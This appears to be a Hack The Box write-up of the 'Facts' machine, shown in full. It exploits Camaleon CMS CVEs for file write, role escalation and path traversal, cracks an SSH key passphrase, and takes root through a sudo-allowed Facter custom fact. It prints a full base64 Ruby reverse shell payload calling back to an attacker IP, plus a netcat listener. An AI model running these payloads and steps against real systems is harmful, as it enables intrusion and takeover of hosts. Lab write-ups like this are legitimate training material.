┌──(kali㉿kali)-[~] └─$ sudo nmap -sC -sV -p22,80 10.129.67.182 [sudo] password for kali: Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-03 02:28 EST Nmap scan report for 10.129.67.182 Host is up (0.14s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 4d:d7:b2:8c:d4:df:57:9c:a4:2f:df:c6:e3:01:29:89 (ECDSA) |_ 256 a3:ad:6b:2f:4a:bf:6f:48:ac:81:b9:45:3f:de:fb:87 (ED25519) 80/tcp open http nginx 1.26.3 (Ubuntu) |_http-server-header: nginx/1.26.3 (Ubuntu) |_http-title: Did not follow redirect to http://facts.htb/ Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 16.74 seconds
Foothold
added the domain I found from nmap to hosts file
1 2 3
┌──(kali㉿kali)-[~] └─$ echo"10.129.67.182 facts.htb" | sudotee -a /etc/hosts 10.129.67.182 facts.htb
found nothing on the website
used ffuf to enumerate directories and only found an admin login page
from the admin’s page source, I see it’s using Camaleon CMS
I created an account and logged in
from the dashboard I see its using Camaleon CMS v2.9.0
I found that this version is vulnerable to arbitrary file write to RCE CVE-2024-46986
used msfvenom to get ruby reverse shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
┌──(kali㉿kali)-[~] └─$ msfvenom -p ruby/shell_reverse_tcp LHOST=10.10.16.253 LPORT=1111 -f raw [-] No platform was selected, choosing Msf::Module::Platform::Ruby from the payload [-] No arch selected, selecting arch: ruby from the payload No encoder specified, outputting raw payload Payload size: 512 bytes code = %(cmVxdWlyZSAnc29ja2V0JztjPVRDUFNvY2tldC5uZXcoIjEwLjEwLjE2LjI1MyIsIDExMTEpOyRzdGRpbi5yZW9wZW4oYyk7JHN0ZG91dC5yZW9wZW4oYyk7JHN0ZGVyci5yZW9wZW4oYyk7JHN0ZGluLmVhY2hfbGluZXt8bHxsPWwuc3RyaXA7bmV4dCBpZiBsLmxlbmd0aD09MDsoSU8ucG9wZW4obCwicmIiKXt8ZmR8IGZkLmVhY2hfbGluZSB7fG98IGMucHV0cyhvLnN0cmlwKSB9fSkgcmVzY3VlIG5pbCB9).unpack(%(m0)).first if RUBY_PLATFORM =~ /mswin|mingw|win32/ inp = IO.popen(%(ruby), %(wb)) rescue nil if inp inp.write(code) inp.close end else if ! Process.fork() eval(code) rescue nil end end
opened listener on port 1111
1 2 3
┌──(kali㉿kali)-[~] └─$ nc -lnvp 1111 listening on [any] 1111
then ran this curl command I crafted using this PoC
nothing happened, i didnt get a shell; probably because the app needs to restart to run initializers
I found another vulnerability Privilege Escalation through a Mass AssignmentCVE-2025-2304 when changing the password i can change my account’s role I used Burp to change the body parameters when updating the password and added password[role]=admin
and fixed the key permissions chmod 600 id_ed25519
now I need to find out what user this key belongs to
this version of Camaleon is also vulnerable to Arbirary path traversalCVE-2024-46987 I downloaded the file http://facts.htb/admin/media/download_private_file?file=../../../../../../etc/passwd tried the key against the usernames and it belonged to the user trivia but its protected with a passphrase
1 2 3 4
┌──(kali㉿kali)-[~/HackTheBox/facts] └─$ ssh -i id_ed25519 trivia@10.129.68.200 Enter passphrase for key 'id_ed25519':
i converted the key to hash ssh2john id_ed25519 > id_ed25519.hash then cracked it using john
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
┌──(kali㉿kali)-[~/HackTheBox/facts] └─$ john --wordlist=/usr/share/wordlists/rockyou.txt id_ed25519.hash
Using default input encoding: UTF-8 Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes Cost 2 (iteration count) is 24 for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status 0g 0:00:00:56 0.01% (ETA: 2026-02-09 15:24) 0g/s 36.51p/s 36.51c/s 36.51C/s slimshady..jonathan1 0g 0:00:01:00 0.01% (ETA: 2026-02-09 14:38) 0g/s 36.61p/s 36.61c/s 36.61C/s bamboo..famous dragonballz (id_ed25519) 1g 0:00:01:28 DONE (2026-02-04 01:41) 0.01134g/s 36.31p/s 36.31c/s 36.31C/s grecia..imissu Use the "--show" option to display all of the cracked passwords reliably Session completed.
the passphrase is dragonballz
logged in and found the key in /home/william directory
Getting Root
Information Gathering
checked commands i can execute with sudo and there’s /usr/bin/facter
1 2 3 4 5 6
trivia@facts:/home/william$ sudo -l Matching Defaults entries for trivia on facts: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User trivia may run the following commands on facts: (ALL) NOPASSWD: /usr/bin/facter
Privilege Escalation
i’m going to create a malicious custom fact
1 2 3 4 5 6 7
trivia@facts:/tmp$ cat << 'EOF' > /tmp/pwn.rb Facter.add(:pwn) do setcode do exec("/bin/bash") end end EOF
ran the custom fact and got the root shell and the flag